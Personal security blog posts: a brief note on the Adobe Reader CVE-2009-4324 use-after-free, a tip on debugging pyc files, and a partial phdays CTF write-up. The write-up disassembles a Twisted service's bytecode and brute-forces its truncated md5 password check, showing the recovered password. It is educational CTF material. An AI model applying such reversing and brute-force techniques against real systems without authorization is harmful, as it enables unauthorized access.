The vulnerability seems to be CVE-2009-4324 and the exploit takes advantage of a vulnerability in the javascript module of Adobe Reader. The use-after-free vulnerability seems to be that calling self.media.newPlayer with a "null" argument.

Reference : http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html

Many thanks to 0xff for his help.

debugging pyc files

2011-09-23T05:01:00.000-07:00

Sometimes, disassembly just isn't enough. Debugging helps. If you ever need to debug a pyc file you could do something like this :-

>>> import sys
>>> sys.argv = ["filename.pyc", "arg1", ... , "argn"]
>>> import pdb; pdb.set_trace()
>>> import filename

source : http://esec-lab.sogeti.com/post/2010/11/02/hack.lu-CTF-Challenge-16-WriteUp

phdays CTF: ndevice partial writeup

2011-05-24T10:40:00.000-07:00

I had participated in phdays recently as part of Team BIOS and it was loads of fun, here's a partial writeup for the service ndevice. Its partial as the service kept getting updated and I only have a few versions. Im waiting to get my hands on the updated versions of the service so that I can work on them. (yeah, I know, its lame not to have kept copies of them all. If you have it, please do let me know, thanks in advance.)

So the first things you notice is that you dont have the source, so you try and decompile it using "decompyle". It does not work out so I try importing it at the python interactive prompt and I get a ImportError: Bad magic number in ndevice.pyc error. Googling for the same lets me know that Im to use another version of python. I try python3.1, no success. I try 2.7 and yup, it works!

I search around for decompyle for python2.7; cant find it. I decide to find out whatever I can about the binary before I can proceed. This is how it went.

>>> import ndevice
>>> dir(ndevice)
['PrinterFactory', 'PrinterProtocol', 'StatefulTelnetProtocol', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__warningregistry__', 'genetic', 'main', 'md5', 'protocol', 're', 'reactor', 'storage']

Aaah, Twisted is being used eh? I had myself used twisted to write a service so I figured it would go well. I tried to get as many details about the binary using simple imports and dir calls as I could, however, I realized that disassembly would be required eventually.
This was my first time doing python disassembly, so I did a bit of googling and came across the awesome dis module.
From the above dir, it seemed that StatefulTelnetProtocol would take care of the communication alone; it would be the PrinterProtocol that needed attention in that case. So, I have a look at its functions:-

>>> dir(ndevice.PrinterProtocol)
['CommandStrEnterBanner', 'CommandStrEnterPwd', 'CommandStrMain', 'CommandStrMonitoring', 'CommandStrSettings', 'Help', 'HelpCaption', 'Info', 'MAX_LENGTH', 'MessageBannerBad', 'MessageBannerEmpty', 'MessageBannerInternal', 'MessageBannerSet', 'MessageBannerTooLong', 'MessagePwdBad', 'MessagePwdEmpty', 'MessagePwdInternal', 'MessagePwdSet', 'MessagePwdTooLong', 'MonitoringHelp', 'SettingsHelp', 'UnknownCommand', '_LineReceiver__buffer', '__doc__', '__implemented__', '__module__', '__providedBy__', '__provides__', 'clearLineBuffer', 'connected', 'connectionLost', 'connectionMade', 'dataReceived', 'delimiter', 'disableLocal', 'disableRemote', 'enableLocal', 'enableRemote', 'handle_checkpwd', 'handle_main', 'handle_monitoring', 'handle_setbanner', 'handle_setpwd', 'handle_settings', 'lineLengthExceeded', 'lineReceived', 'line_mode', 'makeConnection', 'pauseProducing', 'paused', 'rawDataReceived', 'resumeProducing', 'sendLine', 'setLineMode', 'setRawMode', 'state', 'stopProducing', 'telnet_Discard', 'transport', 'unhandledCommand', 'unhandledSubnegotiation']

Hmm, it would be better if I knew what I was looking for. So:-
~ $ nc localhost 2001
Genetic Printer (Powered by PHD)
Type help for Help
Prn> help
help - Main context help
info - Device inforamtion
settings - Settings context
monitor - Monitoring context
exit - Exit
Prn> settings
Enter Password: blah
Error: Bad Password

Ok. So, now I'll check out handle_checkpwd. This was the first time I was using the dis module, so I was skeptical about how much time this would take me.
>>> dir(PrinterProtocol.handle_checkpwd)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']
>>> dis(PrinterProtocol.handle_checkpwd)
140 0 LOAD_FAST 0 (self)
3 LOAD_ATTR 0 (factory)
6 LOAD_ATTR 1 (checkPassword)
9 LOAD_FAST 1 (command)
12 CALL_FUNCTION 1
15 POP_JUMP_IF_FALSE 49

141 18 LOAD_CONST 1 ('settings')
21 LOAD_FAST 0 (self)
24 STORE_ATTR 2 (currentCommand)

142 27 LOAD_FAST 0 (self)
30 LOAD_ATTR 3 (transport)
33 LOAD_ATTR 4 (write)
36 LOAD_FAST 0 (self)
39 LOAD_ATTR 5 (CommandStrSettings)
42 CALL_FUNCTION 1
45 POP_TOP
46 JUMP_FORWARD 47 (to 96)

144 >> 49 LOAD_FAST 0 (self)
52 LOAD_ATTR 3 (transport)
55 LOAD_ATTR 4 (write)
58 LOAD_FAST 0 (self)
61 LOAD_ATTR 6 (MessagePwdBad)
64 CALL_FUNCTION 1
67 POP_TOP

145 68 LOAD_CONST 2 ('main')
71 LOAD_FAST 0 (self)
74 STORE_ATTR 2 (currentCommand)

146 77 LOAD_FAST 0 (self)
80 LOAD_ATTR 3 (transport)
83 LOAD_ATTR 4 (write)
86 LOAD_FAST 0 (self)
89 LOAD_ATTR 7 (CommandStrMain)
92 CALL_FUNCTION 1
95 POP_TOP
>> 96 LOAD_CONST 0 (None)
99 RETURN_VALUE

Hmm, not bad at all! I can actually just read through and have an idea about whats going on in there! In Twisted, all the methods related to a particular protocol are kept in the factory and all the connection specific details would be present in the protocol. In this case, the method handle_checkpwd is simply calling self.factory.checkPassword.
Ok, so lets disassemble that.
>>> dis(ndevice.PrinterFactory.checkPassword)
206 0 LOAD_GLOBAL 0 (md5)
3 LOAD_ATTR 1 (new)
6 LOAD_FAST 1 (pwd)
9 LOAD_CONST 1 (0)
12 LOAD_CONST 2 (4)
15 SLICE+3
16 CALL_FUNCTION 1
19 LOAD_ATTR 2 (hexdigest)
22 CALL_FUNCTION 0
25 STORE_FAST 2 (updPwd)

207 28 LOAD_FAST 2 (updPwd)
31 LOAD_FAST 0 (self)
34 LOAD_ATTR 3 (pwdDigest)
37 COMPARE_OP 2 (==)
40 POP_JUMP_IF_FALSE 47

208 43 LOAD_GLOBAL 4 (True)
46 RETURN_VALUE

210 >> 47 LOAD_GLOBAL 5 (False)
50 RETURN_VALUE
51 LOAD_CONST 0 (None)
54 RETURN_VALUE

Hmm, this ones small.
Ok, so basically it takes an input, calculates the hash and then compares it with self.pwdDigest. No, wait! It compares it with the first 4 characters of self.pwdDigest!
So, we know we can bruteforce it. What we need to figure out at this point is, "where does self.pwdDigest get its value from?".
Lets look at the __init__ section disassembly.
>>> dis(ndevice.PrinterFactory.__init__)
189 0 LOAD_FAST 1 (protocol)
3 LOAD_FAST 0 (self)
6 STORE_ATTR 0 (protocol)

190 9 LOAD_FAST 2 (keySt)
12 LOAD_FAST 0 (self)
15 STORE_ATTR 1 (keyStorage)

191 18 SETUP_EXCEPT 44 (to 65)

192 21 LOAD_GLOBAL 2 (open)
24 LOAD_CONST 1 ('pwdfile')
27 LOAD_CONST 2 ('r')
30 CALL_FUNCTION 2
33 STORE_FAST 3 (f)

193 36 LOAD_FAST 3 (f)
39 LOAD_ATTR 3 (readline)
42 CALL_FUNCTION 0
45 LOAD_FAST 0 (self)
48 STORE_ATTR 4 (pwdDigest)

194 51 LOAD_FAST 3 (f)
54 LOAD_ATTR 5 (close)
57 CALL_FUNCTION 0
60 POP_TOP
61 POP_BLOCK
62 JUMP_FORWARD 7 (to 72)

195 >> 65 POP_TOP
66 POP_TOP
67 POP_TOP

196 68 JUMP_FORWARD 1 (to 72)
71 END_FINALLY
>> 72 LOAD_CONST 0 (None)
75 RETURN_VALUE

ha! It takes in the value from pwdfile. The value in the file is "f54d2de733d7173c229cd538d01e8e7e". So, lets brute force it.

>>> content = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=,./<>?;\':"\''

>>> for i in getpass():

...     if md5.new(i).hexdigest()=="f54d2de733d7173c229cd538d01e8e7e":

...             print i

...

qwea

getpass is simply a generator that generates strings of length 4 from content. There are other files too in the ndevice/ such as storage(deals with storage/retrieval of keys) and genetic.pyc(generates random stuff).
Hope you enjoyed reading the writeup. Have fun, ciao.